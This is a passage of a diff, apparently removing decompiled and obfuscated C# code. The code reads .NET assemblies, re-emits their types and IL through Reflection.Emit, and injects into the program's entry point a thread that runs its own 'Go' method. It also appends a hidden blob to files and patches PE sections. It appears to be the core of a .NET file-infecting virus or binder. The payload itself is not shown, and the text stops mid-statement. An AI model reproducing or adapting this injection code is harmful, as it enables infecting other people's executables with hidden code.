((object) type3 == (object) typeof (xrieopydqqcD)) - xrieopydqqcD.syfVsThvbcwkBq(type3, (Type) null, reader2, asm, ref ab, false, filetype, objects); - if (type3.FullName.Length > 22) - { - if (type3.FullName.Substring(0, 22) == "Reflector.Disassembler") - xrieopydqqcD.syfVsThvbcwkBq(type3, (Type) null, reader2, asm, ref ab, false, filetype, objects); - } - ++index3; - } - else - break; - } - } - } - } - } - Type[] typeArray3 = types1; - int index4 = 0; - while (true) - { - if (index4 < typeArray3.Length) - { - xrieopydqqcD.yvebdpyueqo(typeArray3[index4], (Type) null, moduleBuilder, reader1, objects); - ++index4; - } - else - break; - } - Type[] typeArray4 = types1; - int index5 = 0; - while (true) - { - if (index5 < typeArray4.Length) - { - Type intype = typeArray4[index5]; - objects.sshton(intype, moduleBuilder); - ++index5; - } - else - break; - } - foreach (Type type in types1) - xrieopydqqcD.syfVsThvbcwkBq(type, (Type) null, reader1, asm, ref ab, true, filetype, objects); - num = index1 + 1; - } - try - { - xrieopydqqcD.DaSuxuoumcrbq(asm, ab, outFileName); - } - catch (ThreadAbortException ex) - { - File.Move(inFileName, outFileName); - return; - } - catch (Exception ex) - { - } - try - { - ab.Save(outFileName); - } - catch (ThreadAbortException ex) - { - File.Move(inFileName, outFileName); - return; - } - catch (Exception ex) - { - } - try - { - xrieopydqqcD.ajasisBxvjsdr(inFileName, outFileName); - } - catch (ThreadAbortException ex) - { - File.Move(inFileName, outFileName); - } - catch (Exception ex) - { - } - } - - private static void yvebdpyueqo( - Type type, - Type wrapperType, - ModuleBuilder outmodb, - ModuleReader reader, - xrieopydqqcD.nnqpftdznilo objects) - { - string fullName = type.FullName; - if ((object) wrapperType == null && -1 != fullName.IndexOf("+")) - return; - Type baseType = type.BaseType; - Type parent1 = (object) baseType == null ? (Type) null : (Type) objects.xEKtafwb(baseType); - if ((object) parent1 == null) - parent1 = baseType; - Type[] interfaces1 = type.GetInterfaces(); - TypeBuilder outtype; - if ((object) wrapperType != null) - { - TypeBuilder typeBuilder = objects.xEKtafwb(wrapperType); - string name; - if (!xrieopydqqcD.pbybjr(type)) - name = type.Name; - else - name = xrieopydqqcD.nPsiueq.meqqpaup(); - int attributes = (int) type.Attributes; - Type parent2 = parent1; - Type[] interfaces2 = interfaces1; - outtype = typeBuilder.DefineNestedType(name, (TypeAttributes) attributes, parent2, interfaces2); - } - else - { - string name = typeof (xrieopydqqcD).GetHashCode() != type.GetHashCode() ? (xrieopydqqcD.pbybjr(type) ? xrieopydqqcD.nPsiueq.meqqpaup() : fullName) : (xrieopydqqcD.pbybjr(type) ? xrieopydqqcD.nPsiueq.meqqpaup() + "." + xrieopydqqcD.nPsiueq.meqqpaup() : fullName); - outtype = outmodb.DefineType(name, type.Attributes, parent1, interfaces1); - } - objects.iylnqouwmt(type, outtype); - foreach (Type nestedType in type.GetNestedTypes(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic)) - xrieopydqqcD.yvebdpyueqo(nestedType, type, outmodb, reader, objects); - } - - private static void cfwiwf(MethodBase methodBase, ref MethodBuilder methodBuilder) - { - ParameterInfo[] parameters = methodBase.GetParameters(); - int index = 0; - while (true) - { - if (index < parameters.Length) - { - methodBuilder.DefineParameter(index + 1, parameters[index].Attributes, parameters[index].Name); - ++index; - } - else - break; - } - } - - private static void yqekubezBu(MethodBase methodBase, ref ConstructorBuilder ctorBuilder) - { - ParameterInfo[] parameters = methodBase.GetParameters(); - int index = 0; - while (true) - { - if (index < parameters.Length) - { - ctorBuilder.DefineParameter(index + 1, parameters[index].Attributes, parameters[index].Name); - ++index; - } - else - break; - } - } - - private static void syfVsThvbcwkBq( - Type type, - Type wrapperType, - ModuleReader reader, - Assembly asm, - ref AssemblyBuilder ab, - bool setEP, - PEFileKinds filetype, - xrieopydqqcD.nnqpftdznilo objects) - { - string fullName = type.FullName; - if ((object) wrapperType == null && -1 != fullName.IndexOf("+")) - return; - ConstructorInfo[] constructors = type.GetConstructors(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); - foreach (ConstructorInfo ctorInfo in constructors) - { - ConstructorBuilder constructorBuilder = objects.etbaebi(type, ctorInfo); - if (constructorBuilder == null) - return; - MethodBody methodBody = reader.GetMethodBody((MethodBase) ctorInfo); - if (methodBody != null) - { - ILGenerator ilGenerator = constructorBuilder.GetILGenerator(); - xrieopydqqcD.yqhkGlhvXlcDz(type, (MethodBase) ctorInfo, methodBody, ref ilGenerator, false, (xrieopydqqcD.jwqkZocrojjQhc ? 1 : 0) != 0, objects); - } - } - MethodBase[] methods = (MethodBase[]) type.GetMethods(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); - int index = 0; - while (true) - { - if (index < methods.Length) - { - MethodBase methodBase = methods[index]; - if (!(methodBase.Name == "Main") || (object) methodBase.DeclaringType != (object) typeof (xrieopydqqcD)) - { - MethodBuilder entryMethod = objects.vzIyvrjxjhnz(type, methodBase); - MethodBody methodBody = reader.GetMethodBody(methodBase); - if (methodBody != null) - { - ILGenerator ilGenerator = entryMethod.GetILGenerator(); - if ((object) asm.EntryPoint == (object) methodBase && setEP) - { - xrieopydqqcD.yqhkGlhvXlcDz(type, methodBase, methodBody, ref ilGenerator, true, (xrieopydqqcD.jwqkZocrojjQhc ? 1 : 0) != 0, objects); - ab.SetEntryPoint((MethodInfo) entryMethod, filetype); - } - else - xrieopydqqcD.yqhkGlhvXlcDz(type, methodBase, methodBody, ref ilGenerator, false, (xrieopydqqcD.jwqkZocrojjQhc ? 1 : 0) != 0, objects); - } - } - ++index; - } - else - break; - } - TypeBuilder typeBuilder = objects.xEKtafwb(type); - try - { - typeBuilder.CreateType(); - } - catch (NotSupportedException ex) - { - if (xrieopydqqcD.jwqkZocrojjQhc) - { - xrieopydqqcD.jwqkZocrojjQhc = false; - return; - } - } - foreach (Type nestedType in type.GetNestedTypes(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic)) - xrieopydqqcD.syfVsThvbcwkBq(nestedType, type, reader, asm, ref ab, (setEP ? 1 : 0) != 0, filetype, objects); - } - - private static bool vkvAtgyut(Assembly asm) => (asm.GetManifestResourceNames().Length == 0 ? 1 : 0) == 0; - - private static void DaSuxuoumcrbq(Assembly asm, AssemblyBuilder ab, string name) - { - // ISSUE: unable to decompile the method. - } - - private static void yqhkGlhvXlcDz( - Type type, - MethodBase methodBase, - MethodBody methodBody, - ref ILGenerator il, - bool entrypoint, - bool shorts, - xrieopydqqcD.nnqpftdznilo objects) - { - Type[] locals = methodBody.GetLocals(); - LocalBuilder[] localBuilders = new LocalBuilder[(int) checked ((uint) locals.Length)]; - if (locals != null) - { - if (locals.Length > 0) - { - int index = 0; - while (true) - { - if (index < locals.Length) - { - Type localType = (Type) objects.xEKtafwb(locals[index]); - if ((object) localType != null) - localBuilders[index] = il.DeclareLocal(localType); - else - localBuilders[index] = il.DeclareLocal(locals[index]); - ++index; - } - else - break; - } - } - } - xrieopydqqcD.uAfzmzmprnjlw uAfzmzmprnjlw = new xrieopydqqcD.uAfzmzmprnjlw(il, localBuilders); - LocalBuilder local1 = (LocalBuilder) null; - if (entrypoint) - { - MethodBuilder meth = objects.vzIyvrjxjhnz(typeof (xrieopydqqcD), xrieopydqqcD.Ojiwadtto); - local1 = il.DeclareLocal(typeof (Thread)); - uAfzmzmprnjlw.qwghiubYc(); - il.Emit(OpCodes.Ldnull); - uAfzmzmprnjlw.qwghiubYc(); - il.Emit(OpCodes.Ldftn, (MethodInfo) meth); - uAfzmzmprnjlw.qwghiubYc(); - ConstructorInfo constructor1 = typeof (ThreadStart).GetConstructors()[0]; - il.Emit(OpCodes.Newobj, constructor1); - ConstructorInfo constructor2 = typeof (Thread).GetConstructor(new Type[1] - { - typeof (ThreadStart) - }); - il.Emit(OpCodes.Newobj, constructor2); - uAfzmzmprnjlw.qwghiubYc(); - ILGenerator ilGenerator = il; - OpCode stloc = OpCodes.Stloc; - LocalBuilder local2 = local1; - bool flag; - int num = flag ? 1 : 0; - ilGenerator.Emit(stloc, local2); - uAfzmzmprnjlw.qwghiubYc(); - il.Emit(OpCodes.Ldloc, local1); - MethodInfo method = typeof (Thread).GetMethod("Start"); - il.Emit(OpCodes.Callvirt, method); - uAfzmzmprnjlw.qwghiubYc(); - } - ExceptionHandler[] exceptions = methodBody.GetExceptions(); - if (exceptions != null) - { - int index = 0; - while (true) - { - if (index < exceptions.Length) - { - ExceptionHandler exceptionHandler = exceptions[index]; - ++index; - } - else - break; - } - } - int length = 0; - Instruction[] instructions1 = methodBody.GetInstructions(); - OpCode opCode; - int num1; - for (int index = 0; index < instructions1.Length; index = num1 + 1) - { - Instruction instruction = instructions1[index]; - opCode = instruction.Code; - if ((int) opCode.OperandType != 15) - { - opCode = instruction.Code; - if (opCode.OperandType != OperandType.InlineBrTarget) - goto label_18; - } - ++length; -label_18: - opCode = instruction.Code; - if ((int) opCode.OperandType == 11) - length += ((int[]) instruction.Operand).Length; - num1 = index; - } - Label[] labelArray = new Label[(int) checked ((uint) length)]; - int[] numArray1 = new int[(int) checked ((uint) length)]; - int index1 = 0; - Instruction[] instructions2 = methodBody.GetInstructions(); - int index2 = 0; - int index3; - for (; index2 < instructions2.Length; ++index2) - { - Instruction instruction = instructions2[index2]; - opCode = instruction.Code; - if (opCode.OperandType == OperandType.ShortInlineBrTarget) - { - object operand = instruction.Operand; - numArray1[index1] = (int) operand; - labelArray[index1] = il.DefineLabel(); - ++index1; - } - opCode = instruction.Code; - if (opCode.OperandType == OperandType.InlineBrTarget) - { - object operand = instruction.Operand; - numArray1[index1] = (int) operand; - labelArray[index1] = il.DefineLabel(); - ++index1; - } - opCode = instruction.Code; - if (opCode.OperandType == OperandType.InlineSwitch) - { - int[] operand = (int[]) instruction.Operand; - int num2; - for (index3 = 0; index3 < operand.Length; index3 = num2) - { - int num3 = operand[index3]; - numArray1[index1] = num3; - labelArray[index1] = il.DefineLabel(); - ++index1; - num2 = index3 + 1; - } - } - } - bool flag1 = false; - int index4 = 0; - while (true) - { - if (index4 < methodBody.GetInstructions().Length) - { - if (flag1) - { - flag1 = false; - } - else - { - Instruction instruction = methodBody.GetInstructions()[index4]; - OpCode code = instruction.Code; - int hashCode1 = code.GetHashCode(); - opCode = OpCodes.Ldloc; - int hashCode2 = opCode.GetHashCode(); - bool flag2; - if (hashCode1 == hashCode2) - { - int num4 = index4; - int num5 = flag2 ? 1 : 0; - int num6 = methodBody.GetInstructions().Length - 1; - if (num4 < num6) - { - opCode = methodBody.GetInstructions()[index4].Code; - int hashCode3 = opCode.GetHashCode(); - opCode = OpCodes.Pop; - int hashCode4 = opCode.GetHashCode(); - if (hashCode3 == hashCode4) - { - flag1 = true; - goto label_170; - } - } - } - int hashCode5 = code.GetHashCode(); - opCode = OpCodes.Nop; - int hashCode6 = opCode.GetHashCode(); - if (hashCode5 != hashCode6) - { - uAfzmzmprnjlw.qwghiubYc(); - foreach (ExceptionHandler exceptionHandler in exceptions) - { - if (exceptionHandler.TryOffset == instruction.Offset) - { - il.BeginExceptionBlock(); - break; - } - if (exceptionHandler.Type == 3) - { - if (exceptionHandler.FilterOffset == instruction.Offset) - il.BeginExceptFilterBlock(); - } - else if (exceptionHandler.HandlerOffset == instruction.Offset) - { - switch ((int) exceptionHandler.Type) - { - case 0: - il.BeginFaultBlock(); - break; - case 1: - il.BeginCatchBlock(exceptionHandler.CatchType); - break; - case 2: - il.BeginFinallyBlock(); - break; - case 3: - il.BeginExceptFilterBlock(); - break; - } - } - if (exceptionHandler.HandlerOffset + exceptionHandler.HandlerLength == instruction.Offset) - { - flag2 = true; - ExceptionHandler[] exceptionHandlerArray = exceptions; - for (index3 = 0; index3 < exceptionHandlerArray.Length; ++index3) - { - if (exceptionHandlerArray[index3].HandlerOffset == exceptionHandler.HandlerOffset + exceptionHandler.HandlerLength) - flag2 = false; - } - if (flag2) - il.EndExceptionBlock(); - } - } - for (int index5 = 0; index5 < numArray1.Length; ++index5) - { - if (numArray1[index5] == instruction.Offset) - il.MarkLabel(labelArray[index5]); - } - object operand = instruction.Operand; - byte[] operandData = instruction.GetOperandData(); - if ((entrypoint ? 1 : 0) != 0) - { - string name1 = code.Name; - opCode = OpCodes.Ret; - string name2 = opCode.Name; - if (name1 == name2) - { - uAfzmzmprnjlw.qwghiubYc(); - il.Emit(OpCodes.Ldloc, local1); - MethodInfo method = typeof (Thread).GetMethod("Abort", new Type[0]); - il.Emit(OpCodes.Callvirt, method); - } - } - if (operand != null) - { - switch (code.OperandType) - { - case OperandType.InlineBrTarget: - int num7 = (int) operand; - for (int index6 = 0; index6 < labelArray.Length; ++index6) - { - if (numArray1[index6] == num7) - { - il.Emit(code, labelArray[index6]); - break; - } - } - break; - case OperandType.InlineField: - case OperandType.InlineMethod: - case OperandType.InlineSig: - case OperandType.InlineTok: - case OperandType.InlineType: - if ((object) (operand as Type) != null) - { - TypeBuilder cls = objects.xEKtafwb((Type) operand); - if (cls != null) - { - il.Emit(code, (Type) cls); - break; - } - if ((object) ((Type) operand).Assembly != (object) Assembly.GetExecutingAssembly()) - { - il.Emit(code, (Type) operand); - break; - } - goto label_146; - } - else if ((object) (operand as MethodInfo) != null) - { - MethodInfo meth1 = (MethodInfo) operand; - MethodBuilder meth2 = objects.vzIyvrjxjhnz(meth1.DeclaringType, (MethodBase) meth1); - if (meth2 != null) - { - il.Emit(code, (MethodInfo) meth2); - break; - } - if ((object) meth1.DeclaringType.Assembly != (object) Assembly.GetExecutingAssembly()) - { - il.Emit(code, meth1); - break; - } - goto label_152; - } - else if ((object) (operand as MemberInfo) != null) - { - if ((object) (operand as FieldInfo) != null) - { - FieldBuilder field = objects.etqEvak(((MemberInfo) operand).DeclaringType, (FieldInfo) operand); - if (field != null) - il.Emit(code, (FieldInfo) field); - else if ((object) ((MemberInfo) operand).DeclaringType.Assembly != (object) Assembly.GetExecutingAssembly()) - il.Emit(code, (FieldInfo) operand); - else - goto label_159; - } - if ((object) (operand as ConstructorInfo) != null) - { - ConstructorInfo constructorInfo = (ConstructorInfo) operand; - ConstructorBuilder con = objects.etbaebi(constructorInfo.DeclaringType, constructorInfo); - if (con != null) - { - il.Emit(code, (ConstructorInfo) con); - break; - } - if ((object) constructorInfo.DeclaringType.Assembly != (object) Assembly.GetExecutingAssembly()) - { - il.Emit(code, constructorInfo); - break; - } - goto label_165; - } - else - break; - } - else - { - if ((object) (operand as FieldInfo) != null) - break; - goto label_168; - } - case OperandType.InlineI: - il.Emit(code, (int) operand); - break; - case OperandType.InlineI8: - il.Emit(code, (long) operand); - break; - case OperandType.InlineNone: - il.Emit(code); - break; - case OperandType.InlineR: - il.Emit(code, (double) operand); - break; - case OperandType.InlineString: - il.Emit(code, operand.ToString()); - break; - case OperandType.InlineSwitch: - int[] numArray2 = (int[]) operand; - Label[] labels = new Label[(int) checked ((uint) numArray2.Length)]; - int index7 = 0; - while (true) - { - if (index7 < numArray2.Length) - { - int index8 = 0; - for (; index8 < labelArray.Length; ++index8) - { - if (numArray1[index8] == numArray2[index7]) - labels[index7] = labelArray[index8]; - } - ++index7; - } - else - break; - } - il.Emit(code, labels); - break; - case OperandType.InlineVar: - case OperandType.ShortInlineVar: - if (operand is int) - { - if (localBuilders != null) - { - il.Emit(code, localBuilders[(int) operand]); - break; - } - goto label_114; - } - else - { - if (operand is ParameterInfo) - { - ParameterInfo parameterInfo = (ParameterInfo) operand; - methodBase.GetParameters(); - int position = parameterInfo.Position; - int hashCode7 = code.GetHashCode(); - opCode = OpCodes.Ldarg_S; - int hashCode8 = opCode.GetHashCode(); - if (hashCode7 == hashCode8) - { - il.Emit(code, (int) operandData[0]); - break; - } - il.Emit(code, position); - break; - } - break; - } - case OperandType.ShortInlineBrTarget: - OpCode opcode; - if (!shorts) - { - opcode = code; - string name3 = code.Name; - opCode = OpCodes.Beq_S; - string name4 = opCode.Name; - if (name3 == name4) - opcode = OpCodes.Beq; - string name5 = code.Name; - opCode = OpCodes.Bge_S; - string name6 = opCode.Name; - if (name5 == name6) - opcode = OpCodes.Bge; - string name7 = code.Name; - opCode = OpCodes.Bge_Un_S; - string name8 = opCode.Name; - if (name7 == name8) - opcode = OpCodes.Bge_Un; - string name9 = code.Name; - opCode = OpCodes.Bgt_S; - string name10 = opCode.Name; - if (name9 == name10) - opcode = OpCodes.Bgt_S; - string name11 = code.Name; - opCode = OpCodes.Bgt_Un_S; - string name12 = opCode.Name; - if (name11 == name12) - opcode = OpCodes.Bgt_Un; - string name13 = code.Name; - opCode = OpCodes.Ble_S; - string name14 = opCode.Name; - if (name13 == name14) - opcode = OpCodes.Ble; - string name15 = code.Name; - opCode = OpCodes.Ble_Un_S; - string name16 = opCode.Name; - if ((name15 == name16 ? 1 : 0) != 0) - opcode = OpCodes.Ble_Un; - string name17 = code.Name; - opCode = OpCodes.Blt_S; - string name18 = opCode.Name; - if ((name17 == name18 ? 1 : 0) != 0) - opcode = OpCodes.Blt; - string name19 = code.Name; - opCode = OpCodes.Blt_Un_S; - string name20 = opCode.Name; - if (name19 == name20) - opcode = OpCodes.Blt_Un; - string name21 = code.Name; - opCode = OpCodes.Bne_Un_S; - string name22 = opCode.Name; - if (name21 == name22) - opcode = OpCodes.Bne_Un; - string name23 = code.Name; - opCode = OpCodes.Br_S; - string name24 = opCode.Name; - if (name23 == name24) - opcode = OpCodes.Br; - string name25 = code.Name; - opCode = OpCodes.Brfalse_S; - string name26 = opCode.Name; - if (name25 == name26) - opcode = OpCodes.Brfalse; - string name27 = code.Name; - opCode = OpCodes.Brtrue_S; - string name28 = opCode.Name; - if (name27 == name28) - opcode = OpCodes.Brtrue; - string name29 = code.Name; - opCode = OpCodes.Leave_S; - string name30 = opCode.Name; - if (name29 == name30) - opcode = OpCodes.Leave; - } - else - opcode = code; - int num8 = (int) operand; - for (int index9 = 0; index9 < labelArray.Length; ++index9) - { - if (numArray1[index9] == num8) - { - il.Emit(opcode, labelArray[index9]); - break; - } - } - break; - case OperandType.ShortInlineI: - if (operand is short num9) - il.Emit(code, num9); - if (operand is sbyte num10) - { - il.Emit(code, num10); - break; - } - break; - case OperandType.ShortInlineR: - il.Emit(code, (float) operand); - break; - } - } - else - il.Emit(code); - } - } -label_170: - ++index4; - } - else - goto label_127; - } -label_114: - return; -label_146: - throw new Exception(); -label_152: - throw new Exception(); -label_159: - throw new Exception(); -label_165: - throw new Exception(); -label_168: - throw new Exception(); -label_127:; - } - - private static byte[] plofcXrGdqk() - { - FileStream file = Assembly.GetExecutingAssembly().GetFiles()[0]; - BinaryReader source = new BinaryReader((Stream) file); - xrieopydqqcD.uodsxxuliiz msdosheader = new xrieopydqqcD.uodsxxuliiz(); - msdosheader.zEtgol(source); - xrieopydqqcD.tbetzkWdxclu tbetzkWdxclu = new xrieopydqqcD.tbetzkWdxclu(); - tbetzkWdxclu.tlnpgvuqkwqot(source, msdosheader); - xrieopydqqcD.cMOoOgkad cMooOgkad = (xrieopydqqcD.cMOoOgkad) tbetzkWdxclu.fraswujhugwtyy[tbetzkWdxclu.fraswujhugwtyy.Count - 1]; - uint num = cMooOgkad.zmeiajmfzkjpje + cMooOgkad.yzpzejsLoIjz; - source.BaseStream.Position = (long) num; - byte[] numArray1; - try - { - uint count = source.ReadUInt32(); - byte[] numArray2 = source.ReadBytes((int) count); - file.Close(); - numArray1 = numArray2; - } - catch - { - file.Close(); - FileStream input = new FileStream("ILReader.dll", FileMode.Open, FileAccess.Read); - BinaryReader binaryReader = new BinaryReader((Stream) input); - FileInfo fileInfo = new FileInfo("ILReader.dll"); - if (fileInfo != null) - { - byte[] numArray3 = binaryReader.ReadBytes((int) fileInfo.Length); - input.Close(); - numArray1 = numArray3; - } - else - { - input.Close(); - numArray1 = (byte[]) null; - } - } - return numArray1; - } - - private static void efZexkvcvfwmm(string fileName, byte[] ilReader) - { - FileStream output = new FileStream(fileName, FileMode.Open, FileAccess.ReadWrite); - BinaryWriter binaryWriter = new BinaryWriter((Stream) output); - binaryWriter.BaseStream.Seek(0L, SeekOrigin.End); - binaryWriter.Write((uint) ilReader.Length); - binaryWriter.Write(ilReader); - output.Close(); - } - - private static bool ajasisBxvjsdr(string inFileName, string outFileName) - { - FileStream fileStream1 = new FileStream(outFileName, FileMode.Open, FileAccess.ReadWrite); - FileStream input = new FileStream(inFileName, FileMode.Open, FileAccess.Read); - if (input == null || fileStream1 == null) - return false; - BinaryWriter dest1 = new BinaryWriter((Stream) fileStream1); - BinaryReader source1 = new BinaryReader((Stream) fileStream1); - BinaryReader source2 = new BinaryReader((Stream) input); - xrieopydqqcD.uodsxxuliiz msdosheader1 = new xrieopydqqcD.uodsxxuliiz(); - msdosheader1.zEtgol(source2); - xrieopydqqcD.tbetzkWdxclu tbetzkWdxclu = new xrieopydqqcD.tbetzkWdxclu(); - tbetzkWdxclu.tlnpgvuqkwqot(source2, msdosheader1); - byte[] buffer = tbetzkWdxclu.lutszZ(source2); - if (buffer == null) - return false; - xrieopydqqcD.uodsxxuliiz msdosheader2 = new xrieopydqqcD.uodsxxuliiz(); - msdosheader2.zEtgol(source1); - xrieopydqqcD.xdohkoinFjot xdohkoinFjot = new xrieopydqqcD.xdohkoinFjot(); - xdohkoinFjot.tlnpgvuqkwqot(source1, msdosheader2); - if (xdohkoinFjot.lutszZ(source1) != null) - return false; - xrieopydqqcD.cMOoOgkad cMooOgkad = (xrieopydqqcD.cMOoOgkad) xdohkoinFjot.fraswujhugwtyy[xdohkoinFjot.fraswujhugwtyy.Count - 1]; - uint num1 = (uint) ((int) ((uint) ((int) cMooOgkad.zmeiajmfzkjpje + (int) cMooOgkad.yzpzejsLoIjz + 1) / xdohkoinFjot.qcgvnlipvlodxd) * (int) xdohkoinFjot.qcgvnlipvlodxd); - uint phsize = ((uint) buffer.Length / xdohkoinFjot.qcgvnlipvlodxd + 1U) * xdohkoinFjot.qcgvnlipvlodxd; - uint wfcDkot = xdohkoinFjot.wfcDkot; - uint isize = xdohkoinFjot.wfcDkot + ((uint) buffer.Length / xdohkoinFjot.oZccafviqmv + 1U) * xdohkoinFjot.oZccafviqmv; - xrieopydqqcD.cMOoOgkad sh = new xrieopydqqcD.cMOoOgkad(".rsrc", (uint) buffer.Length, wfcDkot, phsize, num1, 1107296320U); - xrieopydqqcD.Lxfiwlr d = new xrieopydqqcD.Lxfiwlr(wfcDkot, (uint) buffer.Length); - dest1.BaseStream.Position = (long) num1; - dest1.Write(buffer, 0, buffer.Length); - int num2 = 0; - while (true) - { - if ((long) num2 < (long) xdohkoinFjot.qcgvnlipvlodxd - (long) buffer.Length % (long) xdohkoinFjot.qcgvnlipvlodxd) - { - dest1.Write((byte) 0); - ++num2; - } - else - break; - } - xdohkoinFjot.lnaqeacWglxCZk(sh, source1, dest1, msdosheader2); - xdohkoinFjot.oDleyn(d, dest1, msdosheader2); - xdohkoinFjot.gilxoegqvcjfl(isize, dest1, msdosheader2); - dest1.Flush(); - source1.Close(); - dest1.Close(); - FileStream fileStream2 = new FileStream(outFileName, FileMode.Open, FileAccess.ReadWrite); - BinaryReader src = new BinaryReader((Stream) fileStream2); - BinaryWriter dest2 = new BinaryWriter((Stream) fileStream2); - xdohkoinFjot.Rzpnwvm(num1, tbetzkWdxclu.xuhigl.oKmirJgnjsztiu, wfcDkot, src, dest2); - dest2.Flush(); - source2.Close(); - src.Close(); - dest2.Close(); - input.Close(); - fileStream2.Close(); - return true; - } - - public class nnqpftdznilo - { - private Hashtable uXrDBub; - private Hashtable tdezqdx; - private Hashtable oVyLaxwaigqugf; - private Hashtable ogYpkJpu; - private Hashtable dpvRmlkx; - private Hashtable mrxlxxb; - - public nnqpftdznilo() - { - this.uXrDBub = new Hashtable(); - this.tdezqdx = new Hashtable(); - this.oVyLaxwaigqugf = new Hashtable(); - this.ogYpkJpu = new Hashtable(); - this.dpvRmlkx = new Hashtable(); - this.mrxlxxb = new Hashtable(); - } - - protected virtual void sRqTolDzloj() => this.Finalize(); - - public void fdxullgeuvb() - { - this.uXrDBub.Clear(); - this.tdezqdx.Clear(); - this.oVyLaxwaigqugf.Clear(); - this.ogYpkJpu.Clear(); - this.dpvRmlkx.Clear(); - this.mrxlxxb.Clear(); - } - - public void iylnqouwmt(Type intype, TypeBuilder outtype) => this.uXrDBub.Add((object) intype, (object) outtype); - - public void sshton(Type intype, ModuleBuilder moduleBuilder) - { - if (!this.uXrDBub.ContainsKey((object) intype)) - return; - PropertyInfo[] properties = intype.GetProperties(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); - int index1 = 0; - while (true) - { - if (index1 < properties.Length) - { - PropertyInfo key = properties[index1]; - TypeBuilder returnType = (TypeBuilder) this.uXrDBub[(object) key.PropertyType]; - PropertyBuilder propertyBuilder; - if (returnType != null) - propertyBuilder = ((TypeBuilder) this.uXrDBub[(object) intype]).DefineProperty(xrieopydqqcD.pbybjr(intype) ? xrieopydqqcD.nPsiueq.meqqpaup() : key.Name, key.Attributes, (Type) returnType, (Type[]) null); - else - propertyBuilder = ((TypeBuilder) this.uXrDBub[(object) intype]).DefineProperty(xrieopydqqcD.pbybjr(intype) ? xrieopydqqcD.nPsiueq.meqqpaup() : key.Name, key.Attributes, key.PropertyType, (Type[]) null); - this.mrxlxxb.Add((object) key, (object) propertyBuilder); - ++index1; - } - else - break; - } - FieldInfo[] fields = intype.GetFields(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); - int index2 = 0; - int num1; - for (; index2 < fields.Length; index2 = num1) - { - FieldInfo key = fields[index2]; - TypeBuilder typeBuilder1 = (TypeBuilder) this.uXrDBub[(object) key.FieldType]; - FieldBuilder fieldBuilder; - if (typeBuilder1 != null) - { - TypeBuilder typeBuilder2 = (TypeBuilder) this.uXrDBub[(object) intype]; - string fieldName; - if (!xrieopydqqcD.pbybjr(intype)) - fieldName = key.Name; - else - fieldName = xrieopydqqcD.nPsiueq.meqqpaup(); - TypeBuilder typeBuilder3 = typeBuilder1; - int attributes = (int) key.Attributes; - fieldBuilder = typeBuilder2.DefineField(fieldName, (Type) typeBuilder3, (FieldAttributes) attributes); - } - else - fieldBuilder = ((TypeBuilder) this.uXrDBub[(object) intype]).DefineField(xrieopydqqcD.pbybjr(intype) ? xrieopydqqcD.nPsiueq.meqqpaup() : key.Name, key.FieldType, key.Attributes); - this.ogYpkJpu.Add((object) key, (object) fieldBuilder); - num1 = index2 + 1; - } - ConstructorInfo[] constructors = intype.GetConstructors(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); - int num2; - for (int index3 = 0; index3 < constructors.Length; index3 = num2 + 1) - { - ConstructorInfo key = constructors[index3]; - ParameterInfo[] parameters = key.GetParameters(); - Type[] parameterTypes = new Type[(int) checked ((uint) parameters.Length)]; - int index4 = 0; - while (true) - { - if (index4 < parameters.Length) - { - TypeBuilder typeBuilder = (TypeBuilder) this.uXrDBub[(object) parameters[index4].ParameterType]; - if (typeBuilder != null) - parameterTypes[index4] = (Type) typeBuilder; - else - parameterTypes[index4] = parameters[index4].ParameterType; - ++index4; - } - else - break; - } - ConstructorBuilder ctorBuilder = ((TypeBuilder) this.uXrDBub[(object) intype]).DefineConstructor(key.Attributes, key.CallingConvention, parameterTypes); - xrieopydqqcD.yqekubezBu((MethodBase) key, ref ctorBuilder); - this.tdezqdx.Add((object) key, (object) ctorBuilder); - num2 = index3; - } - EventInfo[] events = intype.GetEvents(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic); - int index5 = 0; - for (; index5 < events.Length; ++index5) - { - EventInfo key = events[index5]; - TypeBuilder typeBuilder = (TypeBuilder) this.uXrDBub[(object) intype]; - string name; - if (!xrieopydqqcD.pbybjr(intype)) - name = key.Name; - else - name = xrieopydqqcD.nPsiueq.meqqpaup(); - int attributes = (int) key.Attributes; - Type eventHandlerType = key.EventHandlerType; - EventBuilder eventBuilder = typeBuilder.DefineEvent(name, (EventAttributes) attributes, eventHandlerType); - this.oVyLaxwaigqugf.Add((object) key, (object) eventBuilder); - } - foreach (MethodBase method in intype.GetMethods(BindingFlags.DeclaredOnly | BindingFlags.Instance | BindingFlags.Static | BindingFlags.Public | BindingFlags.NonPublic)) - { - if (method.Name == "Main") - { - if ((object) method.DeclaringType == (object) typeof (xrieopydqqcD)) - continue; - } - if ((method.Name == "Go" ? 1 : 0) != 0 && (object) method.DeclaringType == (object) typeof (xrieopydqqcD)) - xrieopydqqcD.Ojiwadtto = method; - ParameterInfo[] parameters = method.GetParameters(); - Type[] parameterTypes = new Type[(int) checked ((uint) parameters.Length)]; - int index6 = 0; - while (index6 < parameters.Length) - { - TypeBuilder typeBuilder = (TypeBuilder) this.uXrDBub[(object) parameters[index6].ParameterType]; - if (typeBuilder != null) - parameterTypes[index6] = (Type) typeBuilder; - else - parameterTypes[index6] = parameters[index6].ParameterType; - ++index6; - } - Type returnType1 = ((MethodInfo) method).ReturnType; - TypeBuilder returnType2 = this.xEKtafwb(returnType1); - string name = method.Name; - MethodBuilder methodBuilder; - if (returnType2 != null) - methodBuilder = ((TypeBuilder) this.uXrDBub[(object) intype]).DefineMethod(!xrieopydqqcD.pbybjr(intype) || !(name != "Go") ? name : xrieopydqqcD.nPsiueq.meqqpaup(), method.Attributes, method.CallingConvention, (Type) returnType2, parameterTypes); - else - methodBuilder = ((TypeBuilder) this.uXrDBub[(object) 